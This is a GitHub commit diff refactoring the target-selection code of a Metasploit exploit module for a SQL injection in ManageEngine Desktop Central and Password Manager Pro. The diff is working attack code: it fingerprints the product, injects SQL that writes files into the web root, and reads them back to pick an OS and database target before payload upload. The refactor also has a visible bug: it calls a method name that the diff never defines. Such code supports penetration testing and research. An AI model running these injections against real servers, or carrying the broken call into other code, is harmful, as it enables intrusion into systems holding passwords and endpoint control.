Skip to content

Commit 9815b16

Browse files
committed
Refactor pick_target
1 parent ecace8b commit 9815b16

File tree

1 file changed

+113
-69
lines changed

1 file changed

+113
-69
lines changed

modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb

Lines changed: 113 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -147,7 +147,7 @@ def exploit
147147

148148
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
149149
# Fail if this is the case to avoid polluting the web root any more.
150-
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /windows/i
150+
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i
151151
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
152152
end
153153

@@ -164,63 +164,75 @@ def exploit
164164
inject_exec(jsp_name, fullpath)
165165
end
166166

167-
def pick_target
168-
return target if target.name != 'Automatic'
169-
170-
print_status("#{peer} - Selecting target, this might take a few seconds...")
171-
rand_txt = rand_text_alpha_lower(8) << ".txt"
167+
# Test for Password Manager Pro
168+
def password_manager_paths
169+
db_paths = {}
172170

173-
# Test for Desktop Central
174171
res = send_request_cgi({
175-
'uri' => normalize_uri("configurations.do"),
176-
'method' => 'GET'
177-
})
172+
'uri' => normalize_uri("PassTrixMain.cc"),
173+
'method' => 'GET'
174+
})
178175

179-
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central/
176+
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/
180177
if datastore['WEB_ROOT']
181-
postgresql_path = datastore['WEB_ROOT'].dup
182-
mysql_path = datastore['WEB_ROOT'].dup
183-
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
184-
postgresql_path = targets[2]['WebRoot'].dup
185-
mysql_path = targets[3]['WebRoot'].dup
178+
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
179+
db_paths[:mysql] = datastore['WEB_ROOT'].dup
186180
else
187-
postgresql_path = targets[1]['WebRoot'].dup
188-
mysql_path = targets[3]['WebRoot'].dup
181+
db_paths[:postgresql] = targets[4]['WebRoot'].dup
182+
db_paths[:mysql] = targets[5]['WebRoot'].dup
189183
end
190-
else
191-
# Test for Password Manager Pro
192-
res = send_request_cgi({
193-
'uri' => normalize_uri("PassTrixMain.cc"),
194-
'method' => 'GET'
195-
})
196-
197-
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/
198-
if datastore['WEB_ROOT']
199-
postgresql_path = datastore['WEB_ROOT'].dup
200-
mysql_path = datastore['WEB_ROOT'].dup
201-
else
202-
postgresql_path = targets[4]['WebRoot'].dup
203-
mysql_path = targets[5]['WebRoot'].dup
204-
end
184+
end
185+
186+
db_paths
187+
end
188+
189+
# Test for Desktop Central
190+
def desktop_central_db_paths
191+
db_paths = {}
192+
res = send_request_cgi({
193+
'uri' => normalize_uri("configurations.do"),
194+
'method' => 'GET'
195+
})
196+
197+
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/
198+
if datastore['WEB_ROOT']
199+
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
200+
db_paths[:mysql] = datastore['WEB_ROOT'].dup
201+
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
202+
db_paths[:postgresql] = targets[2]['WebRoot'].dup
203+
db_paths[:mysql] = targets[3]['WebRoot'].dup
205204
else
206-
# We don't know what this is, bail
207-
return nil
205+
db_paths[:postgresql] = targets[1]['WebRoot'].dup
206+
db_paths[:mysql] = targets[3]['WebRoot'].dup
208207
end
209208
end
210209

211-
# try MySQL first, there are probably more of these out there
212-
filepath = mysql_path << rand_txt
210+
db_paths
211+
end
212+
213+
def db_paths
214+
paths = desktop_central_db_paths
215+
216+
if paths.empty?
217+
paths = check_password_manager_pro
218+
end
219+
220+
paths
221+
end
222+
223+
def pick_mysql_target(mysql_path, rand_txt)
224+
file_path = mysql_path << rand_txt
213225

214226
# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
215-
inject_sql("select @@version_compile_os into dumpfile '#{filepath}'", "mysql")
227+
inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")
216228

217229
res = send_request_cgi({
218-
'uri' => normalize_uri(rand_txt),
219-
'method' => 'GET'
220-
})
230+
'uri' => normalize_uri(rand_txt),
231+
'method' => 'GET'
232+
})
221233

222-
if res and res.code == 200
223-
register_file_for_cleanup(filepath.sub('../',''))
234+
if res && res.code == 200
235+
register_file_for_cleanup(file_path.sub('../',''))
224236
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
225237
if mysql_path =~ /DesktopCentral/
226238
# Desktop Central [MSP] / MySQL / Windows
@@ -235,19 +247,22 @@ def pick_target
235247
end
236248
end
237249

238-
# didn't work, let's try PostgreSQL
239-
filepath = postgresql_path << rand_txt
250+
nil
251+
end
252+
253+
def pick_postgres_target(postgresql_path, rand_txt)
254+
file_path = postgresql_path << rand_txt
240255

241256
# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
242-
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
257+
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
243258

244259
res = send_request_cgi({
245-
'uri' => normalize_uri(rand_txt),
246-
'method' => 'GET'
247-
})
260+
'uri' => normalize_uri(rand_txt),
261+
'method' => 'GET'
262+
})
248263

249-
if res and res.code == 200
250-
register_file_for_cleanup(filepath)
264+
if res && res.code == 200
265+
register_file_for_cleanup(file_path)
251266
if res.body.to_s =~ /Visual C++/
252267
if postgresql_path =~ /DesktopCentral_Server/
253268
# Desktop Central / PostgreSQL / Windows
@@ -260,28 +275,57 @@ def pick_target
260275
return targets[4]
261276
end
262277
elsif res.body.to_s =~ /linux/
263-
# This is for the case when WEB_ROOT is provided
264-
# Password Manager Pro / PostgreSQL / Linux
265-
return targets[6]
266-
end
267-
else
268-
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
269-
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
270-
filepath = targets[5]['WebRoot'].dup << rand_txt
271-
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
272-
273-
res = send_request_cgi({
274-
'uri' => normalize_uri(rand_txt),
275-
'method' => 'GET'
276-
})
277-
278-
if res and res.code == 200 and res.body.to_s =~ /linux/
278+
# This is for the case when WEB_ROOT is provided
279279
# Password Manager Pro / PostgreSQL / Linux
280280
return targets[6]
281-
else
282-
return nil
283281
end
284282
end
283+
284+
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
285+
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
286+
file_path = targets[5]['WebRoot'].dup << rand_txt
287+
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
288+
289+
res = send_request_cgi({
290+
'uri' => normalize_uri(rand_txt),
291+
'method' => 'GET'
292+
})
293+
294+
if res && res.code == 200 && res.body.to_s =~ /linux/
295+
# Password Manager Pro / PostgreSQL / Linux
296+
return targets[6]
297+
end
298+
299+
nil
300+
end
301+
302+
def pick_target
303+
return target if target.name != 'Automatic'
304+
305+
print_status("#{peer} - Selecting target, this might take a few seconds...")
306+
rand_txt = rand_text_alpha_lower(8) << ".txt"
307+
308+
paths = db_paths
309+
310+
if paths.empty?
311+
# We don't know what this is, bail
312+
return nil
313+
end
314+
315+
postgresql_path = paths[:postgresql]
316+
mysql_path = paths[:mysql]
317+
318+
# try MySQL first, there are probably more of these out there
319+
mysql_target = pick_mysql_target(mysql_path, rand_txt)
320+
321+
unless mysql_target.nil?
322+
return mysql_target
323+
end
324+
325+
# didn't work, let's try PostgreSQL
326+
postgresql_target = pick_postgres_target(postgresql_path, rand_txt)
327+
328+
postgresql_target
285329
end
286330

287331
#

0 commit comments

Comments
 (0)